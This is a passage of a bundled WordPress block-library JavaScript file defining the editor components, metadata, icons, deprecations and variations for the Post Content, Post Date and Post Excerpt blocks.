37936 }
37937 ]
37938};
37939var post_comments_link_transforms_transforms_default = post_comments_link_transforms_transforms;
37940
37941
37942;// ./node_modules/@wordpress/block-library/build-module/post-comments-link/index.js
37943
37944
37945
37946
37947
37948const { name: post_comments_link_name } = post_comments_link_block_namespaceObject;
37949const post_comments_link_settings = {
37950 edit: post_comments_link_edit_edit_default,
37951 icon: post_comments_count_default,
37952 transforms: post_comments_link_transforms_transforms_default
37953};
37954const post_comments_link_init = () => initBlock({ name: post_comments_link_name, metadata: post_comments_link_block_namespaceObject, settings: post_comments_link_settings });
37955
37956
37957;// ./node_modules/@wordpress/icons/build-module/library/post-content.js
37958
37959
37960var post_content_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M4 6h12V4.5H4V6Zm16 4.5H4V9h16v1.5ZM4 15h16v-1.5H4V15Zm0 4.5h16V18H4v1.5Z" }) });
37961
37962
37963;// ./node_modules/@wordpress/block-library/build-module/post-content/block.json
37964const post_content_block_namespaceObject = /*#__PURE__*/JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":3,"name":"core/post-content","title":"Content","category":"theme","description":"Displays the contents of a post or page.","textdomain":"default","usesContext":["postId","postType","queryId"],"attributes":{"tagName":{"type":"string","default":"div"}},"example":{"viewportWidth":350},"supports":{"align":["wide","full"],"html":false,"layout":true,"background":{"backgroundImage":true,"backgroundSize":true,"__experimentalDefaultControls":{"backgroundImage":true}},"dimensions":{"minHeight":true},"spacing":{"blockGap":true,"padding":true,"margin":true,"__experimentalDefaultControls":{"margin":false,"padding":false}},"color":{"gradients":true,"heading":true,"link":true,"__experimentalDefaultControls":{"background":false,"text":false}},"typography":{"fontSize":true,"lineHeight":true,"__experimentalFontFamily":true,"__experimentalFontWeight":true,"__experimentalFontStyle":true,"__experimentalTextTransform":true,"__experimentalTextDecoration":true,"__experimentalLetterSpacing":true,"__experimentalDefaultControls":{"fontSize":true}},"interactivity":{"clientNavigation":true},"__experimentalBorder":{"radius":true,"color":true,"width":true,"style":true,"__experimentalDefaultControls":{"radius":true,"color":true,"width":true,"style":true}}},"style":"wp-block-post-content","editorStyle":"wp-block-post-content-editor"}');
37965;// ./node_modules/@wordpress/block-library/build-module/post-content/edit.js
37966
37967
37968
37969
37970
37971
37972
37973
37974
37975const { HTMLElementControl: post_content_edit_HTMLElementControl } = unlock(external_wp_blockEditor_namespaceObject.privateApis);
37976function ReadOnlyContent({
37977 parentLayout,
37978 layoutClassNames,
37979 userCanEdit,
37980 postType,
37981 postId,
37982 tagName: TagName = "div"
37983}) {
37984 const [, , content] = (0,external_wp_coreData_namespaceObject.useEntityProp)(
37985 "postType",
37986 postType,
37987 "content",
37988 postId
37989 );
37990 const blockProps = (0,external_wp_blockEditor_namespaceObject.useBlockProps)({ className: layoutClassNames });
37991 const blocks = (0,external_wp_element_namespaceObject.useMemo)(() => {
37992 return content?.raw ? (0,external_wp_blocks_namespaceObject.parse)(content.raw) : [];
37993 }, [content?.raw]);
37994 const blockPreviewProps = (0,external_wp_blockEditor_namespaceObject.__experimentalUseBlockPreview)({
37995 blocks,
37996 props: blockProps,
37997 layout: parentLayout
37998 });
37999 if (userCanEdit) {
38000 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { ...blockPreviewProps });
38001 }
38002 return content?.protected ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(TagName, { ...blockProps, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.Warning, { children: (0,external_wp_i18n_namespaceObject.__)("This content is password protected.") }) }) : /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
38003 TagName,
38004 {
38005 ...blockProps,
38006 dangerouslySetInnerHTML: { __html: content?.rendered }
38007 }
38008 );
38009}
38010function EditableContent({ context = {}, tagName: TagName = "div" }) {
38011 const { postType, postId } = context;
38012 const [blocks, onInput, onChange] = (0,external_wp_coreData_namespaceObject.useEntityBlockEditor)(
38013 "postType",
38014 postType,
38015 { id: postId }
38016 );
38017 const entityRecord = (0,external_wp_data_namespaceObject.useSelect)(
38018 (select) => {
38019 return select(external_wp_coreData_namespaceObject.store).getEntityRecord(
38020 "postType",
38021 postType,
38022 postId
38023 );
38024 },
38025 [postType, postId]
38026 );
38027 const hasInnerBlocks = !!entityRecord?.content?.raw || blocks?.length;
38028 const initialInnerBlocks = [["core/paragraph"]];
38029 const props = (0,external_wp_blockEditor_namespaceObject.useInnerBlocksProps)(
38030 (0,external_wp_blockEditor_namespaceObject.useBlockProps)({ className: "entry-content" }),
38031 {
38032 value: blocks,
38033 onInput,
38034 onChange,
38035 template: !hasInnerBlocks ? initialInnerBlocks : void 0
38036 }
38037 );
38038 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(TagName, { ...props });
38039}
38040function Content(props) {
38041 const {
38042 context: { queryId, postType, postId } = {},
38043 layoutClassNames,
38044 tagName
38045 } = props;
38046 const userCanEdit = useCanEditEntity("postType", postType, postId);
38047 if (userCanEdit === void 0) {
38048 return null;
38049 }
38050 const isDescendentOfQueryLoop = Number.isFinite(queryId);
38051 const isEditable = userCanEdit && !isDescendentOfQueryLoop;
38052 return isEditable ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(EditableContent, { ...props }) : /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
38053 ReadOnlyContent,
38054 {
38055 parentLayout: props.parentLayout,
38056 layoutClassNames,
38057 userCanEdit,
38058 postType,
38059 postId,
38060 tagName
38061 }
38062 );
38063}
38064function edit_Placeholder({ layoutClassNames }) {
38065 const blockProps = (0,external_wp_blockEditor_namespaceObject.useBlockProps)({ className: layoutClassNames });
38066 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { ...blockProps, children: [
38067 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("p", { children: (0,external_wp_i18n_namespaceObject.__)(
38068 "This is the Content block, it will display all the blocks in any single post or page."
38069 ) }),
38070 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("p", { children: (0,external_wp_i18n_namespaceObject.__)(
38071 "That might be a simple arrangement like consecutive paragraphs in a blog post, or a more elaborate composition that includes image galleries, videos, tables, columns, and any other block types."
38072 ) }),
38073 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("p", { children: (0,external_wp_i18n_namespaceObject.__)(
38074 "If there are any Custom Post Types registered at your site, the Content block can display the contents of those entries as well."
38075 ) })
38076 ] });
38077}
38078function RecursionError() {
38079 const blockProps = (0,external_wp_blockEditor_namespaceObject.useBlockProps)();
38080 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { ...blockProps, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.Warning, { children: (0,external_wp_i18n_namespaceObject.__)("Block cannot be rendered inside itself.") }) });
38081}
38082function PostContentEditControls({ tagName, onSelectTagName, clientId }) {
38083 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.InspectorControls, { group: "advanced", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
38084 post_content_edit_HTMLElementControl,
38085 {
38086 tagName,
38087 onChange: onSelectTagName,
38088 clientId,
38089 options: [
38090 { label: (0,external_wp_i18n_namespaceObject.__)("Default (<div>)"), value: "div" },
38091 { label: "<main>", value: "main" },
38092 { label: "<section>", value: "section" },
38093 { label: "<article>", value: "article" }
38094 ]
38095 }
38096 ) });
38097}
38098function PostContentEdit({
38099 context,
38100 attributes: { tagName = "div" },
38101 setAttributes,
38102 clientId,
38103 __unstableLayoutClassNames: layoutClassNames,
38104 __unstableParentLayout: parentLayout
38105}) {
38106 const { postId: contextPostId, postType: contextPostType } = context;
38107 const hasAlreadyRendered = (0,external_wp_blockEditor_namespaceObject.useHasRecursion)(contextPostId);
38108 if (contextPostId && contextPostType && hasAlreadyRendered) {
38109 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(RecursionError, {});
38110 }
38111 const handleSelectTagName = (value) => {
38112 setAttributes({ tagName: value });
38113 };
38114 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
38115 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
38116 PostContentEditControls,
38117 {
38118 tagName,
38119 onSelectTagName: handleSelectTagName,
38120 clientId
38121 }
38122 ),
38123 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.RecursionProvider, { uniqueId: contextPostId, children: contextPostId && contextPostType ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
38124 Content,
38125 {
38126 context,
38127 parentLayout,
38128 layoutClassNames
38129 }
38130 ) : /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(edit_Placeholder, { layoutClassNames }) })
38131 ] });
38132}
38133
38134
38135;// ./node_modules/@wordpress/block-library/build-module/post-content/index.js
38136
38137
38138
38139
38140const { name: post_content_name } = post_content_block_namespaceObject;
38141const post_content_settings = {
38142 icon: post_content_default,
38143 edit: PostContentEdit
38144};
38145const post_content_init = () => initBlock({ name: post_content_name, metadata: post_content_block_namespaceObject, settings: post_content_settings });
38146
38147
38148;// ./node_modules/@wordpress/block-library/build-module/post-date/block.json
38149const post_date_block_namespaceObject = /*#__PURE__*/JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":3,"name":"core/post-date","title":"Date","category":"theme","description":"Display a custom date.","textdomain":"default","attributes":{"datetime":{"type":"string","role":"content"},"textAlign":{"type":"string"},"format":{"type":"string"},"isLink":{"type":"boolean","default":false,"role":"content"}},"usesContext":["postId","postType","queryId"],"example":{"viewportWidth":350},"supports":{"html":false,"color":{"gradients":true,"link":true,"__experimentalDefaultControls":{"background":true,"text":true,"link":true}},"spacing":{"margin":true,"padding":true},"typography":{"fontSize":true,"lineHeight":true,"__experimentalFontFamily":true,"__experimentalFontWeight":true,"__experimentalFontStyle":true,"__experimentalTextTransform":true,"__experimentalTextDecoration":true,"__experimentalLetterSpacing":true,"__experimentalDefaultControls":{"fontSize":true}},"interactivity":{"clientNavigation":true},"__experimentalBorder":{"radius":true,"color":true,"width":true,"style":true,"__experimentalDefaultControls":{"radius":true,"color":true,"width":true,"style":true}}}}');
38150;// ./node_modules/@wordpress/block-library/build-module/post-date/edit.js
38151
38152
38153
38154
38155
38156
38157
38158
38159
38160
38161
38162
38163
38164function PostDateEdit({
38165 attributes,
38166 context: { postType: postTypeSlug, queryId },
38167 setAttributes,
38168 name
38169}) {
38170 const { datetime, textAlign, format, isLink } = attributes;
38171 const blockProps = (0,external_wp_blockEditor_namespaceObject.useBlockProps)({
38172 className: dist_clsx({
38173 [`has-text-align-${textAlign}`]: textAlign
38174 })
38175 });
38176 const dropdownMenuProps = useToolsPanelDropdownMenuProps();
38177 const [popoverAnchor, setPopoverAnchor] = (0,external_wp_element_namespaceObject.useState)(null);
38178 const popoverProps = (0,external_wp_element_namespaceObject.useMemo)(
38179 () => ({ anchor: popoverAnchor }),
38180 [popoverAnchor]
38181 );
38182 const { __unstableMarkNextChangeAsNotPersistent } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_blockEditor_namespaceObject.store);
38183 (0,external_wp_element_namespaceObject.useEffect)(() => {
38184 if (datetime === void 0) {
38185 __unstableMarkNextChangeAsNotPersistent();
38186 setAttributes({ datetime: /* @__PURE__ */ new Date() });
38187 }
38188 }, [datetime]);
38189 const isDescendentOfQueryLoop = Number.isFinite(queryId);
38190 const dateSettings = (0,external_wp_date_namespaceObject.getSettings)();
38191 const {
38192 postType,
38193 siteFormat = dateSettings.formats.date,
38194 siteTimeFormat = dateSettings.formats.time
38195 } = (0,external_wp_data_namespaceObject.useSelect)(
38196 (select) => {
38197 const { getPostType, getEntityRecord } = select(external_wp_coreData_namespaceObject.store);
38198 const siteSettings = getEntityRecord("root", "site");
38199 return {
38200 siteFormat: siteSettings?.date_format,
38201 siteTimeFormat: siteSettings?.time_format,
38202 postType: postTypeSlug ? getPostType(postTypeSlug) : null
38203 };
38204 },
38205 [postTypeSlug]
38206 );
38207 const activeBlockVariationName = (0,external_wp_data_namespaceObject.useSelect)(
38208 (select) => select(external_wp_blocks_namespaceObject.store).getActiveBlockVariation(name, attributes)?.name,
38209 [name, attributes]
38210 );
38211 const blockEditingMode = (0,external_wp_blockEditor_namespaceObject.useBlockEditingMode)();
38212 let postDate = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("time", { dateTime: (0,external_wp_date_namespaceObject.dateI18n)("c", datetime), ref: setPopoverAnchor, children: format === "human-diff" ? (0,external_wp_date_namespaceObject.humanTimeDiff)(datetime) : (0,external_wp_date_namespaceObject.dateI18n)(format || siteFormat, datetime) });
38213 if (isLink && datetime) {
38214 postDate = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
38215 "a",
38216 {
38217 href: "#post-date-pseudo-link",
38218 onClick: (event) => event.preventDefault(),
38219 children: postDate
38220 }
38221 );
38222 }
38223 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
38224 (blockEditingMode === "default" || !isDescendentOfQueryLoop) && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_blockEditor_namespaceObject.BlockControls, { group: "block", children: [
38225 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
38226 external_wp_blockEditor_namespaceObject.AlignmentControl,
38227 {
38228 value: textAlign,
38229 onChange: (nextAlign) => {
38230 setAttributes({ textAlign: nextAlign });
38231 }
38232 }
38233 ),
38234 activeBlockVariationName !== "post-date-modified" && (!isDescendentOfQueryLoop || !activeBlockVariationName) && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.ToolbarGroup, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
38235 external_wp_components_namespaceObject.Dropdown,
38236 {
38237 popoverProps,
38238 renderContent: ({ onClose }) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
38239 external_wp_blockEditor_namespaceObject.__experimentalPublishDateTimePicker,
38240 {
38241 title: activeBlockVariationName === "post-date" ? (0,external_wp_i18n_namespaceObject.__)("Publish Date") : (0,external_wp_i18n_namespaceObject.__)("Date"),
38242 currentDate: datetime,
38243 onChange: (newDatetime) => setAttributes({
38244 datetime: newDatetime
38245 }),
38246 is12Hour: is12HourFormat(
38247 siteTimeFormat
38248 ),
38249 onClose,
38250 dateOrder: (
38251 /* translators: Order of day, month, and year. Available formats are 'dmy', 'mdy', and 'ymd'. */
38252 (0,external_wp_i18n_namespaceObject._x)("dmy", "date order")
38253 )
38254 }
38255 ),
38256 renderToggle: ({ isOpen, onToggle }) => {
38257 const openOnArrowDown = (event) => {
38258 if (!isOpen && event.keyCode === external_wp_keycodes_namespaceObject.DOWN) {
38259 event.preventDefault();
38260 onToggle();
38261 }
38262 };
38263 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
38264 external_wp_components_namespaceObject.ToolbarButton,
38265 {
38266 "aria-expanded": isOpen,
38267 icon: pencil_default,
38268 title: (0,external_wp_i18n_namespaceObject.__)("Change Date"),
38269 onClick: onToggle,
38270 onKeyDown: openOnArrowDown
38271 }
38272 );
38273 }
38274 }
38275 ) })
38276 ] }),
38277 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.InspectorControls, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
38278 external_wp_components_namespaceObject.__experimentalToolsPanel,
38279 {
38280 label: (0,external_wp_i18n_namespaceObject.__)("Settings"),
38281 resetAll: () => {
38282 setAttributes({
38283 datetime: void 0,
38284 format: void 0,
38285 isLink: false
38286 });
38287 },
38288 dropdownMenuProps,
38289 children: [
38290 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
38291 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
38292 {
38293 hasValue: () => !!format,
38294 label: (0,external_wp_i18n_namespaceObject.__)("Date Format"),
38295 onDeselect: () => setAttributes({ format: void 0 }),
38296 isShownByDefault: true,
38297 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
38298 external_wp_blockEditor_namespaceObject.__experimentalDateFormatPicker,
38299 {
38300 format,
38301 defaultFormat: siteFormat,
38302 onChange: (nextFormat) => setAttributes({ format: nextFormat })
38303 }
38304 )
38305 }
38306 ),
38307 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
38308 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
38309 {
38310 hasValue: () => isLink !== false,
38311 label: postType?.labels.singular_name ? (0,external_wp_i18n_namespaceObject.sprintf)(
38312 // translators: %s: Name of the post type e.g: "post".
38313 (0,external_wp_i18n_namespaceObject.__)("Link to %s"),
38314 postType.labels.singular_name.toLowerCase()
38315 ) : (0,external_wp_i18n_namespaceObject.__)("Link to post"),
38316 onDeselect: () => setAttributes({ isLink: false }),
38317 isShownByDefault: true,
38318 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
38319 external_wp_components_namespaceObject.ToggleControl,
38320 {
38321 __nextHasNoMarginBottom: true,
38322 label: postType?.labels.singular_name ? (0,external_wp_i18n_namespaceObject.sprintf)(
38323 // translators: %s: Name of the post type e.g: "post".
38324 (0,external_wp_i18n_namespaceObject.__)("Link to %s"),
38325 postType.labels.singular_name.toLowerCase()
38326 ) : (0,external_wp_i18n_namespaceObject.__)("Link to post"),
38327 onChange: () => setAttributes({ isLink: !isLink }),
38328 checked: isLink
38329 }
38330 )
38331 }
38332 )
38333 ]
38334 }
38335 ) }),
38336 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { ...blockProps, children: postDate })
38337 ] });
38338}
38339function is12HourFormat(format) {
38340 return /(?:^|[^\\])[aAgh]/.test(format);
38341}
38342
38343
38344;// ./node_modules/@wordpress/block-library/build-module/post-date/deprecated.js
38345
38346
38347const post_date_deprecated_v3 = {
38348 attributes: {
38349 datetime: {
38350 type: "string",
38351 role: "content"
38352 },
38353 textAlign: {
38354 type: "string"
38355 },
38356 format: {
38357 type: "string"
38358 },
38359 isLink: {
38360 type: "boolean",
38361 default: false,
38362 role: "content"
38363 }
38364 },
38365 supports: {
38366 html: false,
38367 color: {
38368 gradients: true,
38369 link: true,
38370 __experimentalDefaultControls: {
38371 background: true,
38372 text: true,
38373 link: true
38374 }
38375 },
38376 spacing: {
38377 margin: true,
38378 padding: true
38379 },
38380 typography: {
38381 fontSize: true,
38382 lineHeight: true,
38383 __experimentalFontFamily: true,
38384 __experimentalFontWeight: true,
38385 __experimentalFontStyle: true,
38386 __experimentalTextTransform: true,
38387 __experimentalTextDecoration: true,
38388 __experimentalLetterSpacing: true,
38389 __experimentalDefaultControls: {
38390 fontSize: true
38391 }
38392 },
38393 interactivity: {
38394 clientNavigation: true
38395 },
38396 __experimentalBorder: {
38397 radius: true,
38398 color: true,
38399 width: true,
38400 style: true,
38401 __experimentalDefaultControls: {
38402 radius: true,
38403 color: true,
38404 width: true,
38405 style: true
38406 }
38407 }
38408 },
38409 save() {
38410 return null;
38411 },
38412 migrate({
38413 metadata: {
38414 bindings: {
38415 datetime: {
38416 source,
38417 args: { key, ...otherArgs }
38418 },
38419 ...otherBindings
38420 },
38421 ...otherMetadata
38422 },
38423 ...otherAttributes
38424 }) {
38425 return {
38426 metadata: {
38427 bindings: {
38428 datetime: {
38429 source,
38430 args: { field: key, ...otherArgs }
38431 },
38432 ...otherBindings
38433 },
38434 ...otherMetadata
38435 },
38436 ...otherAttributes
38437 };
38438 },
38439 isEligible(attributes) {
38440 return attributes?.metadata?.bindings?.datetime?.source === "core/post-data" && !!attributes?.metadata?.bindings?.datetime?.args?.key;
38441 }
38442};
38443const post_date_deprecated_v2 = {
38444 attributes: {
38445 textAlign: {
38446 type: "string"
38447 },
38448 format: {
38449 type: "string"
38450 },
38451 isLink: {
38452 type: "boolean",
38453 default: false,
38454 role: "content"
38455 },
38456 displayType: {
38457 type: "string",
38458 default: "date"
38459 }
38460 },
38461 supports: {
38462 html: false,
38463 color: {
38464 gradients: true,
38465 link: true,
38466 __experimentalDefaultControls: {
38467 background: true,
38468 text: true,
38469 link: true
38470 }
38471 },
38472 spacing: {
38473 margin: true,
38474 padding: true
38475 },
38476 typography: {
38477 fontSize: true,
38478 lineHeight: true,
38479 __experimentalFontFamily: true,
38480 __experimentalFontWeight: true,
38481 __experimentalFontStyle: true,
38482 __experimentalTextTransform: true,
38483 __experimentalTextDecoration: true,
38484 __experimentalLetterSpacing: true,
38485 __experimentalDefaultControls: {
38486 fontSize: true
38487 }
38488 },
38489 interactivity: {
38490 clientNavigation: true
38491 },
38492 __experimentalBorder: {
38493 radius: true,
38494 color: true,
38495 width: true,
38496 style: true,
38497 __experimentalDefaultControls: {
38498 radius: true,
38499 color: true,
38500 width: true,
38501 style: true
38502 }
38503 }
38504 },
38505 save() {
38506 return null;
38507 },
38508 migrate({ className, displayType, metadata, ...otherAttributes }) {
38509 if (displayType === "date" || displayType === "modified") {
38510 if (displayType === "modified") {
38511 className = dist_clsx(
38512 className,
38513 "wp-block-post-date__modified-date"
38514 );
38515 }
38516 return {
38517 ...otherAttributes,
38518 className,
38519 metadata: {
38520 ...metadata,
38521 bindings: {
38522 datetime: {
38523 source: "core/post-data",
38524 args: { field: displayType }
38525 }
38526 }
38527 }
38528 };
38529 }
38530 },
38531 isEligible(attributes) {
38532 return !attributes.datetime && !attributes?.metadata?.bindings?.datetime;
38533 }
38534};
38535const post_date_deprecated_v1 = {
38536 attributes: {
38537 textAlign: {
38538 type: "string"
38539 },
38540 format: {
38541 type: "string"
38542 },
38543 isLink: {
38544 type: "boolean",
38545 default: false
38546 }
38547 },
38548 supports: {
38549 html: false,
38550 color: {
38551 gradients: true,
38552 link: true
38553 },
38554 typography: {
38555 fontSize: true,
38556 lineHeight: true,
38557 __experimentalFontFamily: true,
38558 __experimentalFontWeight: true,
38559 __experimentalFontStyle: true,
38560 __experimentalTextTransform: true,
38561 __experimentalLetterSpacing: true
38562 }
38563 },
38564 save() {
38565 return null;
38566 },
38567 migrate: migrate_font_family_default,
38568 isEligible({ style }) {
38569 return style?.typography?.fontFamily;
38570 }
38571};
38572var post_date_deprecated_deprecated_default = [post_date_deprecated_v3, post_date_deprecated_v2, post_date_deprecated_v1];
38573
38574
38575;// ./node_modules/@wordpress/block-library/build-module/post-date/variations.js
38576
38577const post_date_variations_variations = [
38578 {
38579 name: "post-date",
38580 title: (0,external_wp_i18n_namespaceObject.__)("Post Date"),
38581 description: (0,external_wp_i18n_namespaceObject.__)("Display a post's publish date."),
38582 attributes: {
38583 metadata: {
38584 bindings: {
38585 datetime: {
38586 source: "core/post-data",
38587 args: { field: "date" }
38588 }
38589 }
38590 }
38591 },
38592 scope: ["inserter", "transform"],
38593 isActive: (blockAttributes) => blockAttributes?.metadata?.bindings?.datetime?.source === "core/post-data" && blockAttributes?.metadata?.bindings?.datetime?.args?.field === "date"
38594 },
38595 {
38596 name: "post-date-modified",
38597 title: (0,external_wp_i18n_namespaceObject.__)("Modified Date"),
38598 description: (0,external_wp_i18n_namespaceObject.__)("Display a post's last updated date."),
38599 attributes: {
38600 metadata: {
38601 bindings: {
38602 datetime: {
38603 source: "core/post-data",
38604 args: { field: "modified" }
38605 }
38606 }
38607 },
38608 className: "wp-block-post-date__modified-date"
38609 },
38610 scope: ["inserter", "transform"],
38611 isActive: (blockAttributes) => blockAttributes?.metadata?.bindings?.datetime?.source === "core/post-data" && blockAttributes?.metadata?.bindings?.datetime?.args?.field === "modified"
38612 }
38613];
38614var post_date_variations_variations_default = post_date_variations_variations;
38615
38616
38617;// ./node_modules/@wordpress/block-library/build-module/post-date/index.js
38618
38619
38620
38621
38622
38623
38624const { name: post_date_name } = post_date_block_namespaceObject;
38625const post_date_settings = {
38626 icon: post_date_default,
38627 edit: PostDateEdit,
38628 deprecated: post_date_deprecated_deprecated_default,
38629 variations: post_date_variations_variations_default
38630};
38631const post_date_init = () => initBlock({ name: post_date_name, metadata: post_date_block_namespaceObject, settings: post_date_settings });
38632
38633
38634;// ./node_modules/@wordpress/icons/build-module/library/post-excerpt.js
38635
38636
38637var post_excerpt_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M8.001 3.984V9.47c0 1.518-.98 2.5-2.499 2.5h-.5v-1.5h.5c.69 0 1-.31 1-1V6.984H4v-3h4.001ZM4 20h9v-1.5H4V20Zm16-4H4v-1.5h16V16ZM13.001 3.984V9.47c0 1.518-.98 2.5-2.499 2.5h-.5v-1.5h.5c.69 0 1-.31 1-1V6.984H9v-3h4.001Z" }) });
38638
38639
38640;// ./node_modules/@wordpress/block-library/build-module/post-excerpt/block.json
38641const post_excerpt_block_namespaceObject = /*#__PURE__*/JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":3,"name":"core/post-excerpt","title":"Excerpt","category":"theme","description":"Display the excerpt.","textdomain":"default","attributes":{"textAlign":{"type":"string"},"moreText":{"type":"string","role":"content"},"showMoreOnNewLine":{"type":"boolean","default":true},"excerptLength":{"type":"number","default":55}},"usesContext":["postId","postType","queryId"],"example":{"viewportWidth":350},"supports":{"html":false,"color":{"gradients":true,"link":true,"__experimentalDefaultControls":{"background":true,"text":true,"link":true}},"spacing":{"margin":true,"padding":true},"typography":{"fontSize":true,"lineHeight":true,"__experimentalFontFamily":true,"__experimentalFontWeight":true,"__experimentalFontStyle":true,"__experimentalTextTransform":true,"__experimentalTextDecoration":true,"__experimentalLetterSpacing":true,"__experimentalDefaultControls":{"fontSize":true}},"interactivity":{"clientNavigation":true},"__experimentalBorder":{"radius":true,"color":true,"width":true,"style":true,"__experimentalDefaultControls":{"radius":true,"color":true,"width":true,"style":true}}},"editorStyle":"wp-block-post-excerpt-editor","style":"wp-block-post-excerpt"}');
38642;// ./node_modules/@wordpress/block-library/build-module/post-excerpt/edit.js
38643
38644
38645
38646
38647
38648
38649
38650
38651
38652const ELLIPSIS = "\u2026";
38653function PostExcerptEditor({
38654 attributes: { textAlign, moreText, showMoreOnNewLine, excerptLength },
38655 setAttributes,
38656 isSelected,
38657 context: { postId, postType, queryId }
38658}) {
38659 const blockEditingMode = (0,external_wp_blockEditor_namespaceObject.useBlockEditingMode)();
38660 const showControls = blockEditingMode === "default";
38661 const isDescendentOfQueryLoop = Number.isFinite(queryId);
38662 const userCanEdit = useCanEditEntity("postType", postType, postId);
38663 const [
38664 rawExcerpt,
38665 setExcerpt,
38666 { rendered: renderedExcerpt, protected: isProtected } = {}
38667 ] = (0,external_wp_coreData_namespaceObject.useEntityProp)("postType", postType, "excerpt", postId);
38668 const dropdownMenuProps = useToolsPanelDropdownMenuProps();
38669 const postTypeSupportsExcerpts = (0,external_wp_data_namespaceObject.useSelect)(
38670 (select) => {
38671 if (postType === "page") {
38672 return true;
38673 }
38674 return !!select(external_wp_coreData_namespaceObject.store).getPostType(postType)?.supports?.excerpt;
38675 },
38676 [postType]
38677 );
38678 const isEditable = userCanEdit && !isDescendentOfQueryLoop && postTypeSupportsExcerpts;
38679 const blockProps = (0,external_wp_blockEditor_namespaceObject.useBlockProps)({
38680 className: dist_clsx({
38681 [`has-text-align-${textAlign}`]: textAlign
38682 })
38683 });
38684 const wordCountType = (0,external_wp_i18n_namespaceObject._x)("words", "Word count type. Do not translate!");
38685 const strippedRenderedExcerpt = (0,external_wp_element_namespaceObject.useMemo)(() => {
38686 if (!renderedExcerpt) {
38687 return "";
38688 }
38689 const document = new window.DOMParser().parseFromString(
38690 renderedExcerpt,
38691 "text/html"
38692 );
38693 return document.body.textContent || document.body.innerText || "";
38694 }, [renderedExcerpt]);
38695 if (!postType || !postId) {
38696 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
38697 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.BlockControls, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
38698 external_wp_blockEditor_namespaceObject.AlignmentToolbar,
38699 {
38700 value: textAlign,
38701 onChange: (newAlign) => setAttributes({ textAlign: newAlign })
38702 }
38703 ) }),
38704 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { ...blockProps, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("p", { children: (0,external_wp_i18n_namespaceObject.__)("This block will display the excerpt.") }) })
38705 ] });
38706 }
